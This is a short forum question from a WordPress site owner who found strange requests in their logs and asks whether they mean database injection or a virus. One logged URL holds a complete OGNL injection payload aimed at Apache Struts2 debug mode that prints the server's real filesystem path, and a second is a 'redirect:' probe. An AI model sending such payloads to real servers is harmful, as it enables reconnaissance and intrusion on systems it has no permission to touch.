title: Attacked site WordPress
body: <p>today i've logged in and see it for the 1st time:</p>
  
  <pre><code>mysite.com/?debug=command&amp;expression=%23res%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()
  </code></pre>
  
  <p>after that another one:</p>
  
  <p><code>mysite.com/?redirect:</code></p>
  
  <p>what can it cause? Injection databse? Virus?</p>